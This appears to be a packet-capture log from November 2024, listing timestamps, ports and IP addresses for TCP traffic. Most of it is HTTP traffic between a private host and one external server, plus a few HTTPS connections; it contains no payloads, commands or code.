Nov 23, 2024 09:16:57.941437006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.941504002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.941546917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.942497015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.942533970 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.942589045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.942627907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.943548918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.943588018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.943671942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.943710089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.944677114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.944715977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.944758892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.944797039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.945733070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.945771933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.945849895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.945885897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.946820974 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.946861029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.946932077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.946965933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.947959900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.948044062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.948082924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.948999882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.949044943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.949045897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.949074030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.950081110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.950139046 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.950191021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.950228930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.951158047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.951262951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.951272011 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.951406002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.952239990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.952286005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.952423096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.952456951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.952738047 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:57.953351021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.953382969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.953421116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.953466892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.954446077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.954482079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.954534054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.954569101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.955492973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.955538034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.961821079 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:57.961857080 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:57.962609053 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:57.962620974 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.038309097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.038357019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.038480043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.038522959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.038824081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.038877010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.038943052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.039061069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.039887905 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.039942026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.039977074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.040086985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.040941000 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.040996075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.041064978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.041107893 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.042016983 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.042062044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.042151928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.042268991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.043118954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.043169022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.043207884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.043276072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.044224024 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.044267893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.044274092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.044317961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.107418060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.107475996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.107537985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.107578993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.107903957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.107999086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.108021975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.108031988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.108998060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.109052896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.109116077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.109162092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.110083103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.110129118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.110136986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.110166073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.111164093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.111236095 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.111263990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.111306906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.112272024 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.112438917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.112473965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.112513065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.113318920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.113372087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.113439083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.113543034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.114412069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.114469051 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.114521980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.114698887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.115498066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.115562916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.115626097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.115677118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.116638899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.116717100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.116740942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.116781950 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.117688894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.117738008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.117799044 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.117852926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.118757963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.118810892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.118818045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.118865967 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.119832993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.119880915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.119940996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.119999886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.120950937 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.120995045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.121076107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.121124029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.122030973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.122077942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.122107983 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.122145891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.123115063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.123229027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.123275042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.124175072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.124233007 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.124274015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.124324083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.125252962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.125320911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.125458956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.125514984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.126339912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.126383066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.126477003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.126522064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.127530098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.127580881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.127660036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.127700090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.128509998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.128570080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.128602028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.128644943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.129607916 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.129666090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.129707098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.129750013 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.130664110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.130724907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.130784035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.130899906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.131752014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.131802082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.131863117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.131943941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.132883072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.132927895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.133127928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.133173943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.133965015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.134011984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.134180069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.134232998 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.135023117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.135082960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.135138988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.135181904 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.136081934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.136142015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.136193037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.136240005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.137185097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.137236118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.137269020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.137312889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.138281107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.138344049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.138350964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.138389111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.139354944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.139406919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.139446020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.139504910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.140491962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.140544891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.140604973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.140651941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.141534090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.141591072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.141655922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.141796112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.142612934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.142663002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.142754078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.142819881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.143707037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.143770933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.143800020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.143847942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.144807100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.144901037 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.144931078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.144968033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.145859003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.145900965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.145977020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.146017075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.146953106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.146992922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.147073984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.147114992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.148092985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.148147106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.148221016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.148293018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.149122000 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.149166107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.149224997 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.149265051 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.150224924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.150273085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.150340080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.150379896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.151324034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.151475906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.151503086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.151542902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.152367115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.152409077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.152468920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.152677059 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.153601885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.153614044 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.153655052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.154553890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.154624939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.154638052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.154676914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.155637980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.155704975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.155783892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.155833960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.156718969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.156770945 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.197329998 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.197895050 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.197932005 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.198381901 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.198388100 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.208890915 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:58.208926916 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:58.208986998 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:58.209024906 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:58.209887028 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:58.209935904 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:58.210779905 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:58.210797071 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:58.239713907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.239804029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.239824057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.239856958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.240241051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.240294933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.240330935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.240431070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.241288900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.241355896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.241400003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.241548061 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.242392063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.242454052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.242490053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.242532015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.243495941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.243556023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.243582010 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.243680954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.244609118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.244735956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.244786978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.245687008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.245728970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.245738029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.245769978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.284084082 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.285525084 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.285559893 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.286113977 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.286125898 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.308686018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.308747053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.308851004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.308953047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.309221029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.309269905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.309323072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.309384108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.310292959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.310338020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.310400009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.310451031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.311382055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.311425924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.311455965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.311495066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.312479019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.312534094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.312592030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.312727928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.313549042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.313597918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.313652039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.313735008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.314640999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.314692020 CET	49816	80	192.168.2.6	185.215.113.206
